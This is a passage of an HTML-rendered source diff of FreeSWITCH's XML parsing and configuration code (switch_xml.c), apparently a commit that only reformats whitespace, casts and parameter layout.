</span><span class="cx">
</span><span class="cx">                         v = s + strspn(s + 1, SWITCH_XML_WS) + 1;        /* find value */
</span><del>-                        if ((q = *(v++)) != '"' && q != '\'') {                /* skip externals */
</del><ins>+                        if ((q = *(v++)) != '"' && q != '\'') {        /* skip externals */
</ins><span class="cx">                                 s = strchr(s, '>');
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         for (i = 0, ent = (*c == '%') ? pe : root->ent; ent[i]; i++);
</span><del>-                        sstmp = (char **)realloc(ent, (i + 3) * sizeof(char *));        /* space for next ent */
</del><ins>+                        sstmp = (char **) realloc(ent, (i + 3) * sizeof(char *));        /* space for next ent */
</ins><span class="cx">                         if (!sstmp) {
</span><span class="cx">                                 switch_xml_err(root, v, "Allocation Error!");
</span><span class="cx">                                 break;
</span><span class="lines">@@ -770,7 +778,7 @@
</span><span class="cx">
</span><span class="cx">                         //while (*(n = ++s + strspn(s, SWITCH_XML_WS)) && *n != '>') {
</span><span class="cx">                         // gcc 4.4 you are a creep
</span><del>-                        for(;;) {
</del><ins>+                        for (;;) {
</ins><span class="cx">                                 s++;
</span><span class="cx">                                 if (!(*(n = s + strspn(s, SWITCH_XML_WS)) && *n != '>')) {
</span><span class="cx">                                         break;
</span><span class="lines">@@ -783,7 +791,7 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 s += strspn(s + 1, SWITCH_XML_WS) + 1;        /* find next token */
</span><del>-                                c = (strncmp(s, "CDATA", 5)) ? (char *)"*" : (char *)" ";        /* is it cdata? */
</del><ins>+                                c = (strncmp(s, "CDATA", 5)) ? (char *) "*" : (char *) " ";        /* is it cdata? */
</ins><span class="cx">                                 if (!strncmp(s, "NOTATION", 8))
</span><span class="cx">                                         s += strspn(s + 8, SWITCH_XML_WS) + 8;
</span><span class="cx">                                 s = (*s == '(') ? strchr(s, ')') : s + strcspn(s, SWITCH_XML_WS);
</span><span class="lines">@@ -809,15 +817,15 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (!root->attr[i]) {        /* new tag name */
</span><del>-                                        root->attr = (!i) ? (char ***)malloc(2 * sizeof(char **))
-                                                : (char ***)realloc(root->attr, (i + 2) * sizeof(char **));
-                                        root->attr[i] = (char **)malloc(2 * sizeof(char *));
</del><ins>+                                        root->attr = (!i) ? (char ***) malloc(2 * sizeof(char **))
+                                                : (char ***) realloc(root->attr, (i + 2) * sizeof(char **));
+                                        root->attr[i] = (char **) malloc(2 * sizeof(char *));
</ins><span class="cx">                                         root->attr[i][0] = t;        /* set tag name */
</span><span class="cx">                                         root->attr[i][1] = (char *) (root->attr[i + 1] = NULL);
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 for (j = 1; root->attr[i][j]; j += 3);        /* find end of list */
</span><del>-                                sstmp = (char **)realloc(root->attr[i], (j + 4) * sizeof(char *));
</del><ins>+                                sstmp = (char **) realloc(root->attr[i], (j + 4) * sizeof(char *));
</ins><span class="cx">
</span><span class="cx">                                 if (!sstmp) {
</span><span class="cx">                                         switch_xml_err(root, t, "Allocation Error!");
</span><span class="lines">@@ -826,17 +834,17 @@
</span><span class="cx">
</span><span class="cx">                                 root->attr[i] = sstmp;
</span><span class="cx">                                 root->attr[i][j + 3] = NULL;        /* null terminate list */
</span><del>-                                root->attr[i][j + 2] = c;                /* is it cdata? */
</del><ins>+                                root->attr[i][j + 2] = c;        /* is it cdata? */
</ins><span class="cx">                                 root->attr[i][j + 1] = (v) ? switch_xml_decode(v, root->ent, *c) : NULL;
</span><del>-                                root->attr[i][j] = n;                        /* attribute name */
</del><ins>+                                root->attr[i][j] = n;        /* attribute name */
</ins><span class="cx">                         }
</span><span class="cx">                 } else if (!strncmp(s, "<!--", 4))
</span><del>-                        s = strstr(s + 4, "-->");                        /* comments */
-                else if (!strncmp(s, "<?", 2)) {                /* processing instructions */
</del><ins>+                        s = strstr(s + 4, "-->");        /* comments */
+                else if (!strncmp(s, "<?", 2)) {        /* processing instructions */
</ins><span class="cx">                         if ((s = strstr(c = s + 2, "?>")))
</span><span class="cx">                                 switch_xml_proc_inst(root, c, s++ - c);
</span><span class="cx">                 } else if (*s == '<')
</span><del>-                        s = strchr(s, '>');                                        /* skip other declarations */
</del><ins>+                        s = strchr(s, '>');        /* skip other declarations */
</ins><span class="cx">                 else if (*(s++) == '%' && !root->standalone)
</span><span class="cx">                         break;
</span><span class="cx">         }
</span><span class="lines">@@ -857,10 +865,10 @@
</span><span class="cx">         if (be == -1)
</span><span class="cx">                 return NULL;                        /* not UTF-16 */
</span><span class="cx">
</span><del>-        u = (char *)malloc(max);
</del><ins>+        u = (char *) malloc(max);
</ins><span class="cx">         for (sl = 2; sl < *len - 1; sl += 2) {
</span><span class="cx">                 c = (be) ? (((*s)[sl] & 0xFF) << 8) | ((*s)[sl + 1] & 0xFF)        /* UTF-16BE */
</span><del>-                        : (((*s)[sl + 1] & 0xFF) << 8) | ((*s)[sl] & 0xFF);                /* UTF-16LE */
</del><ins>+                        : (((*s)[sl + 1] & 0xFF) << 8) | ((*s)[sl] & 0xFF);        /* UTF-16LE */
</ins><span class="cx">                 if (c >= 0xD800 && c <= 0xDFFF && (sl += 2) < *len - 1) {        /* high-half */
</span><span class="cx">                         d = (be) ? (((*s)[sl] & 0xFF) << 8) | ((*s)[sl + 1] & 0xFF)
</span><span class="cx">                                 : (((*s)[sl + 1] & 0xFF) << 8) | ((*s)[sl] & 0xFF);
</span><span class="lines">@@ -869,8 +877,9 @@
</span><span class="cx">
</span><span class="cx">                 while (l + 6 > max) {
</span><span class="cx">                         char *tmp;
</span><del>-                        tmp = (char *)realloc(u, max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return NULL;
</del><ins>+                        tmp = (char *) realloc(u, max += SWITCH_XML_BUFSIZE);
+                        if (!tmp)
+                                return NULL;
</ins><span class="cx">                         u = tmp;
</span><span class="cx">                 }
</span><span class="cx">                 if (c < 0x80)
</span><span class="lines">@@ -884,7 +893,7 @@
</span><span class="cx">                                 u[l++] = (char) (0x80 | ((c >> (6 * --b)) & 0x3F));        /* payload */
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        return *s = (char *)realloc(u, *len = l);
</del><ins>+        return *s = (char *) realloc(u, *len = l);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* frees a tag attribute list */
</span><span class="lines">@@ -908,16 +917,16 @@
</span><span class="cx">         free(attr);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(char *s, switch_bool_t dup)
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(char *s, switch_bool_t dup)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_root_t root;
</span><span class="cx">         char *data;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(s);
</span><span class="cx">         data = dup ? strdup(s) : s;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((root = (switch_xml_root_t) switch_xml_parse_str(data, strlen(data)))) {
</span><del>-                root->dynamic = 1; /* Make sure we free the memory is switch_xml_free() */
</del><ins>+                root->dynamic = 1;                /* Make sure we free the memory is switch_xml_free() */
</ins><span class="cx">                 return &root->xml;
</span><span class="cx">         } else {
</span><span class="cx">                 if (dup) {
</span><span class="lines">@@ -926,7 +935,7 @@
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx"> }
</span><del>-        
</del><ins>+
</ins><span class="cx"> /* parse the given xml string and return an switch_xml structure */
</span><span class="cx"> SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str(char *s, switch_size_t len)
</span><span class="cx"> {
</span><span class="lines">@@ -952,26 +961,26 @@
</span><span class="cx">                 attr = (char **) SWITCH_XML_NIL;
</span><span class="cx">                 d = ++s;
</span><span class="cx">
</span><del>-                if (isalpha((int) (*s)) || *s == '_' || *s == ':' || (int8_t) *s < '\0') {        /* new tag */
</del><ins>+                if (isalpha((int) (*s)) || *s == '_' || *s == ':' || (int8_t) * s < '\0') {        /* new tag */
</ins><span class="cx">                         if (!root->cur)
</span><span class="cx">                                 return switch_xml_err(root, d, "markup outside of root element");
</span><span class="cx">
</span><span class="cx">                         s += strcspn(s, SWITCH_XML_WS "/>");
</span><span class="cx">                         while (isspace((int) (*s)))
</span><del>-                        *(s++) = '\0';        /* null terminate tag name */
</del><ins>+                                *(s++) = '\0';        /* null terminate tag name */
</ins><span class="cx">
</span><span class="cx">                         if (*s && *s != '/' && *s != '>')        /* find tag in default attr list */
</span><span class="cx">                                 for (i = 0; (a = root->attr[i]) && strcmp(a[0], d); i++);
</span><span class="cx">
</span><span class="cx">                         for (l = 0; *s && *s != '/' && *s != '>'; l += 2) {        /* new attrib */
</span><del>-                                attr = (l) ? (char **)realloc(attr, (l + 4) * sizeof(char *))
-                                        : (char **)malloc(4 * sizeof(char *));        /* allocate space */
-                                attr[l + 3] = (l) ? (char *)realloc(attr[l + 1], (l / 2) + 2)
-                                        : (char *)malloc(2);                                        /* mem for list of maloced vals */
-                                strcpy(attr[l + 3] + (l / 2), " ");                        /* value is not malloced */
-                                attr[l + 2] = NULL;                                                        /* null terminate list */
-                                attr[l + 1] = (char *)"";                                        /* temporary attribute value */
-                                attr[l] = s;                                                                /* set attribute name */
</del><ins>+                                attr = (l) ? (char **) realloc(attr, (l + 4) * sizeof(char *))
+                                        : (char **) malloc(4 * sizeof(char *));        /* allocate space */
+                                attr[l + 3] = (l) ? (char *) realloc(attr[l + 1], (l / 2) + 2)
+                                        : (char *) malloc(2);        /* mem for list of maloced vals */
+                                strcpy(attr[l + 3] + (l / 2), " ");        /* value is not malloced */
+                                attr[l + 2] = NULL;        /* null terminate list */
+                                attr[l + 1] = (char *) "";        /* temporary attribute value */
+                                attr[l] = s;        /* set attribute name */
</ins><span class="cx">
</span><span class="cx">                                 s += strcspn(s, SWITCH_XML_WS "=/>");
</span><span class="cx">                                 if (*s == '=' || isspace((int) (*s))) {
</span><span class="lines">@@ -1084,12 +1093,12 @@
</span><span class="cx">         switch_size_t l, len = 0;
</span><span class="cx">         char *s;
</span><span class="cx">
</span><del>-        if (!(s = (char *)malloc(SWITCH_XML_BUFSIZE)))
</del><ins>+        if (!(s = (char *) malloc(SWITCH_XML_BUFSIZE)))
</ins><span class="cx">                 return NULL;
</span><span class="cx">         do {
</span><span class="cx">                 len += (l = fread((s + len), 1, SWITCH_XML_BUFSIZE, fp));
</span><span class="cx">                 if (l == SWITCH_XML_BUFSIZE) {
</span><del>-                        char *tmp = (char *)realloc(s, len + SWITCH_XML_BUFSIZE);
</del><ins>+                        char *tmp = (char *) realloc(s, len + SWITCH_XML_BUFSIZE);
</ins><span class="cx">                         if (!tmp) {
</span><span class="cx">                                 free(s);
</span><span class="cx">                                 return NULL;
</span><span class="lines">@@ -1128,9 +1137,10 @@
</span><span class="cx">         } else {                                        /* mmap failed, read file into memory */
</span><span class="cx"> #endif /* HAVE_MMAP */
</span><span class="cx">                 m = malloc(st.st_size);
</span><del>-                if (!m) return NULL;
</del><ins>+                if (!m)
+                        return NULL;
</ins><span class="cx">                 l = read(fd, m, st.st_size);
</span><del>-                root = (switch_xml_root_t) switch_xml_parse_str((char *)m, l);
</del><ins>+                root = (switch_xml_root_t) switch_xml_parse_str((char *) m, l);
</ins><span class="cx">                 root->dynamic = 1;                /* so we know to free s in switch_xml_free() */
</span><span class="cx"> #ifdef HAVE_MMAP
</span><span class="cx">         }
</span><span class="lines">@@ -1188,20 +1198,19 @@
</span><span class="cx">         if (write(write_fd, message, sizeof(message)) < 0) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #else
</span><span class="cx">         int fds[2], pid = 0;
</span><span class="cx">
</span><span class="cx">         if (pipe(fds)) {
</span><span class="cx">                 goto end;
</span><del>-        } else { /* good to go*/
</del><ins>+        } else {                                        /* good to go */
</ins><span class="cx">                 pid = fork();
</span><span class="cx">
</span><del>-                if (pid < 0) { /* ok maybe not */
</del><ins>+                if (pid < 0) {                        /* ok maybe not */
</ins><span class="cx">                         close(fds[0]);
</span><span class="cx">                         close(fds[1]);
</span><span class="cx">                         goto end;
</span><del>-                } else if (pid) { /* parent */
</del><ins>+                } else if (pid) {                /* parent */
</ins><span class="cx">                         char buf[1024] = "";
</span><span class="cx">                         int bytes;
</span><span class="cx">                         close(fds[1]);
</span><span class="lines">@@ -1211,7 +1220,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         close(fds[0]);
</span><del>-                } else { /* child */
</del><ins>+                } else {                                /* child */
</ins><span class="cx">                         close(fds[0]);
</span><span class="cx">                         dup2(fds[1], STDOUT_FILENO);
</span><span class="cx">                         switch_system(command, SWITCH_TRUE);
</span><span class="lines">@@ -1220,25 +1229,25 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         return write_fd;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static int preprocess_glob(const char *cwd, const char *pattern, int write_fd, int rlevel)
</span><span class="cx"> {
</span><span class="cx">         char *full_path = NULL;
</span><span class="cx">         char *dir_path = NULL, *e = NULL;
</span><del>- glob_t glob_data;
</del><ins>+        glob_t glob_data;
</ins><span class="cx">         size_t n;
</span><span class="cx">
</span><span class="cx">         if (!switch_is_file_path(pattern)) {
</span><span class="cx">                 full_path = switch_mprintf("%s%s%s", cwd, SWITCH_PATH_SEPARATOR, pattern);
</span><span class="cx">                 pattern = full_path;
</span><span class="cx">         }
</span><del>-        
- if (glob(pattern, GLOB_NOCHECK, NULL, &glob_data) != 0) {
</del><ins>+
+        if (glob(pattern, GLOB_NOCHECK, NULL, &glob_data) != 0) {
</ins><span class="cx">                 if (stderr) {
</span><span class="cx">                         fprintf(stderr, "Error including %s\n", pattern);
</span><span class="cx">                 }
</span><span class="lines">@@ -1260,9 +1269,9 @@
</span><span class="cx">                 }
</span><span class="cx">                 free(dir_path);
</span><span class="cx">         }
</span><del>- globfree(&glob_data);
</del><ins>+        globfree(&glob_data);
</ins><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(full_path);
</span><span class="cx">
</span><span class="lines">@@ -1276,7 +1285,7 @@
</span><span class="cx">         char *q, *cmd, buf[2048], ebuf[8192];
</span><span class="cx">         char *tcmd, *targ;
</span><span class="cx">         int line = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((read_fd = open(file, O_RDONLY, 0)) < 0) {
</span><span class="cx">                 const char *reason = strerror(errno);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt open %s (%s)\n", file, reason);
</span><span class="lines">@@ -1292,7 +1301,7 @@
</span><span class="cx">                 const char *err = NULL;
</span><span class="cx">                 char *bp = expand_vars(buf, ebuf, sizeof(ebuf), &cur, &err);
</span><span class="cx">                 line++;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (err) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error [%s] in file %s line %d\n", err, file, line);
</span><span class="cx">                 }
</span><span class="lines">@@ -1312,8 +1321,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if ((tcmd = (char *)switch_stristr("X-pre-process", bp))) {
-                        if (*(tcmd-1) != '<') {
</del><ins>+                if ((tcmd = (char *) switch_stristr("X-pre-process", bp))) {
+                        if (*(tcmd - 1) != '<') {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">                         if ((e = strstr(tcmd, "/>"))) {
</span><span class="lines">@@ -1323,35 +1332,35 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Short write!\n");
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
-                        if (!(tcmd = (char *)switch_stristr("cmd", tcmd))) {
</del><ins>+
+                        if (!(tcmd = (char *) switch_stristr("cmd", tcmd))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (!(tcmd = (char *)switch_stristr("=", tcmd))) {
</del><ins>+                        if (!(tcmd = (char *) switch_stristr("=", tcmd))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (!(tcmd = (char *)switch_stristr("\"", tcmd))) {
</del><ins>+                        if (!(tcmd = (char *) switch_stristr("\"", tcmd))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tcmd++;
</span><span class="cx">
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((e = strchr(tcmd, '"'))) {
</span><span class="cx">                                 *e++ = '\0';
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (!(targ = (char *)switch_stristr("data", e))) {
</del><ins>+                        if (!(targ = (char *) switch_stristr("data", e))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (!(targ = (char *)switch_stristr("=", targ))) {
</del><ins>+                        if (!(targ = (char *) switch_stristr("=", targ))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (!(targ = (char *)switch_stristr("\"", targ))) {
</del><ins>+                        if (!(targ = (char *) switch_stristr("\"", targ))) {
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -1360,26 +1369,26 @@
</span><span class="cx">                         if ((e = strchr(targ, '"'))) {
</span><span class="cx">                                 *e++ = '\0';
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(tcmd, "set")) {
</span><del>-                                char *name = (char *)targ;
</del><ins>+                                char *name = (char *) targ;
</ins><span class="cx">                                 char *val = strchr(name, '=');
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (val) {
</span><span class="cx">                                         char *ve = val++;
</span><span class="cx">                                         while (*val && *val == ' ') {
</span><del>-                                                        val++;
</del><ins>+                                                val++;
</ins><span class="cx">                                         }
</span><span class="cx">                                         *ve-- = '\0';
</span><span class="cx">                                         while (*ve && *ve == ' ') {
</span><span class="cx">                                                 *ve-- = '\0';
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (name && val) {
</span><span class="cx">                                         switch_core_set_variable(name, val);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         } else if (!strcasecmp(tcmd, "include")) {
</span><span class="cx">                                 preprocess_glob(cwd, targ, write_fd, rlevel + 1);
</span><span class="cx">                         } else if (!strcasecmp(tcmd, "exec")) {
</span><span class="lines">@@ -1388,7 +1397,7 @@
</span><span class="cx">
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((cmd = strstr(bp, "<!--#"))) {
</span><span class="cx">                         if (write(write_fd, bp, (unsigned) (cmd - bp)) != (cmd - bp)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Short write!\n");
</span><span class="lines">@@ -1470,12 +1479,12 @@
</span><span class="cx">                 m = malloc(st.st_size);
</span><span class="cx">                 switch_assert(m);
</span><span class="cx">                 l = read(fd, m, st.st_size);
</span><del>-                root = (switch_xml_root_t) switch_xml_parse_str((char *)m, l);
</del><ins>+                root = (switch_xml_root_t) switch_xml_parse_str((char *) m, l);
</ins><span class="cx">                 root->dynamic = 1;
</span><span class="cx">                 close(fd);
</span><span class="cx">                 return &root->xml;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1486,13 +1495,14 @@
</span><span class="cx">         char *new_file = NULL;
</span><span class="cx">         const char *abs, *absw;
</span><span class="cx">
</span><del>-        abs = strrchr(file, '/'); absw = strrchr(file, '\\');
</del><ins>+        abs = strrchr(file, '/');
+        absw = strrchr(file, '\\');
</ins><span class="cx">         if (abs || absw) {
</span><span class="cx">                 abs > absw ? abs++ : (abs = ++absw);
</span><span class="cx">         } else {
</span><span class="cx">                 abs = file;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(new_file = switch_mprintf("%s%s%s.fsxml", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR, abs))) {
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="lines">@@ -1527,12 +1537,9 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate(const char *section,
</span><span class="cx">                                                                                                  const char *tag_name,
</span><del>-                                                                                                 const char *key_name,
-                                                                                                 const char *key_value,
-                                                                                                 switch_xml_t *root,
-                                                                                                 switch_xml_t *node,
-                                                                                                 switch_event_t *params,
-                                                                                                 switch_bool_t clone)
</del><ins>+                                                                                                 const char *key_name,
+                                                                                                 const char *key_value,
+                                                                                                 switch_xml_t *root, switch_xml_t *node, switch_event_t *params, switch_bool_t clone)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_t conf = NULL;
</span><span class="cx">         switch_xml_t tag = NULL;
</span><span class="lines">@@ -1589,7 +1596,7 @@
</span><span class="cx">                         if (clone) {
</span><span class="cx">                                 char *x = switch_xml_toxml(tag, SWITCH_FALSE);
</span><span class="cx">                                 switch_assert(x);
</span><del>-                                *node = *root = switch_xml_parse_str_dynamic(x, SWITCH_FALSE); /* x will be free()'d in switch_xml_free() */
</del><ins>+                                *node = *root = switch_xml_parse_str_dynamic(x, SWITCH_FALSE);        /* x will be free()'d in switch_xml_free() */
</ins><span class="cx">                                 switch_xml_free(xml);
</span><span class="cx">                         } else {
</span><span class="cx">                                 *node = tag;
</span><span class="lines">@@ -1610,8 +1617,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(const char *domain_name, switch_event_t *params,
-                                                                                                                 switch_xml_t *root, switch_xml_t *domain)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(const char *domain_name, switch_event_t *params, switch_xml_t *root, switch_xml_t *domain)
</ins><span class="cx"> {
</span><span class="cx">         switch_event_t *my_params = NULL;
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -1632,11 +1638,8 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate_group(const char *group_name,
</span><del>-                                                                                                                const char *domain_name,
-                                                                                                                switch_xml_t *root,
-                                                                                                                switch_xml_t *domain,
-                                                                                                                switch_xml_t *group,
-                                                                                                                switch_event_t *params)
</del><ins>+                                                                                                                const char *domain_name,
+                                                                                                                switch_xml_t *root, switch_xml_t *domain, switch_xml_t *group, switch_event_t *params)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_event_t *my_params = NULL;
</span><span class="lines">@@ -1663,7 +1666,7 @@
</span><span class="cx">         if ((status = switch_xml_locate_domain(domain_name, params, root, domain)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><span class="cx">         if ((groups = switch_xml_child(*domain, "groups"))) {
</span><span class="lines">@@ -1672,7 +1675,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (my_params) {
</span><span class="cx">                 switch_event_destroy(&my_params);
</span><span class="lines">@@ -1699,7 +1702,7 @@
</span><span class="cx">                 if ((*user = switch_xml_find_child_multi(tag, "user", "ip", ip, "type", type, NULL))) {
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (user_name) {
</span><span class="cx">                 if (!strcasecmp(key, "id")) {
</span><span class="lines">@@ -1712,19 +1715,16 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(const char *user_name,
-                                                                                                                                 switch_xml_t domain,
-                                                                                                                                 switch_xml_t *user,
-                                                                                                                                 switch_xml_t *ingroup)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(const char *user_name, switch_xml_t domain, switch_xml_t *user, switch_xml_t *ingroup)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_t group = NULL, groups = NULL, users = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((groups = switch_xml_child(domain, "groups"))) {
</span><span class="cx">                 for (group = switch_xml_child(groups, "group"); group; group = group->next) {
</span><span class="cx">                         if ((users = switch_xml_child(group, "users"))) {
</span><span class="lines">@@ -1743,18 +1743,15 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate_user(const char *key,
</span><span class="cx">                                                                                                          const char *user_name,
</span><del>-                                                                                                         const char *domain_name,
-                                                                                                         const char *ip,
</del><ins>+                                                                                                         const char *domain_name,
+                                                                                                         const char *ip,
</ins><span class="cx">                                                                                                          switch_xml_t *root,
</span><del>-                                                                                                         switch_xml_t *domain,
-                                                                                                         switch_xml_t *user,
-                                                                                                         switch_xml_t *ingroup,
-                                                                                                         switch_event_t *params)
</del><ins>+                                                                                                         switch_xml_t *domain, switch_xml_t *user, switch_xml_t *ingroup, switch_event_t *params)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_event_t *my_params = NULL, *search_params = NULL;
</span><span class="cx">         switch_xml_t group = NULL, groups = NULL, users = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         *root = NULL;
</span><span class="cx">         *user = NULL;
</span><span class="cx">         *domain = NULL;
</span><span class="lines">@@ -1782,11 +1779,11 @@
</span><span class="cx">         if (ip) {
</span><span class="cx">                 switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "ip", ip);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((status = switch_xml_locate_domain(domain_name, params, root, domain)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><span class="cx">         if (params != my_params) {
</span><span class="lines">@@ -1809,9 +1806,9 @@
</span><span class="cx">         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 status = find_user_in_tag(*domain, ip, user_name, key, params, user);
</span><span class="cx">         }
</span><del>-        
- end:
</del><span class="cx">
</span><ins>+ end:
+
</ins><span class="cx">         if (my_params) {
</span><span class="cx">                 switch_event_destroy(&my_params);
</span><span class="cx">         }
</span><span class="lines">@@ -1848,16 +1845,16 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_xml_free_in_thread(switch_xml_t xml, int stacksize)
</span><span class="cx"> {
</span><span class="cx">         switch_thread_t *thread;
</span><del>- switch_threadattr_t *thd_attr;
</del><ins>+        switch_threadattr_t *thd_attr;
</ins><span class="cx">         switch_memory_pool_t *pool = NULL;
</span><span class="cx">         struct destroy_xml *dx;
</span><span class="cx">
</span><span class="cx">         switch_core_new_memory_pool(&pool);
</span><span class="cx">
</span><span class="cx">         switch_threadattr_create(&thd_attr, pool);
</span><del>- switch_threadattr_detach_set(thd_attr, 1);
</del><ins>+        switch_threadattr_detach_set(thd_attr, 1);
</ins><span class="cx">         /* TBD figure out how much space we need by looking at the xml_t when stacksize == 0 */
</span><del>- switch_threadattr_stacksize_set(thd_attr, stacksize);
</del><ins>+        switch_threadattr_stacksize_set(thd_attr, stacksize);
</ins><span class="cx">
</span><span class="cx">         dx = switch_core_alloc(pool, sizeof(*dx));
</span><span class="cx">         dx->pool = pool;
</span><span class="lines">@@ -1923,7 +1920,7 @@
</span><span class="cx">                 r = switch_xml_root();
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(XML_LOCK);
</span><span class="cx">
</span><span class="lines">@@ -1955,7 +1952,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_mutex_lock(XML_LOCK);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (MAIN_XML_ROOT) {
</span><span class="cx">                 switch_xml_t xml = MAIN_XML_ROOT;
</span><span class="cx">                 MAIN_XML_ROOT = NULL;
</span><span class="lines">@@ -1991,7 +1988,8 @@
</span><span class="cx">         const char *e = NULL;
</span><span class="cx">         int immune = 0;
</span><span class="cx">
</span><del>-        if (!(s && *s)) return *dst;        
</del><ins>+        if (!(s && *s))
+                return *dst;
</ins><span class="cx">
</span><span class="cx">         if (len) {
</span><span class="cx">                 e = s + len;
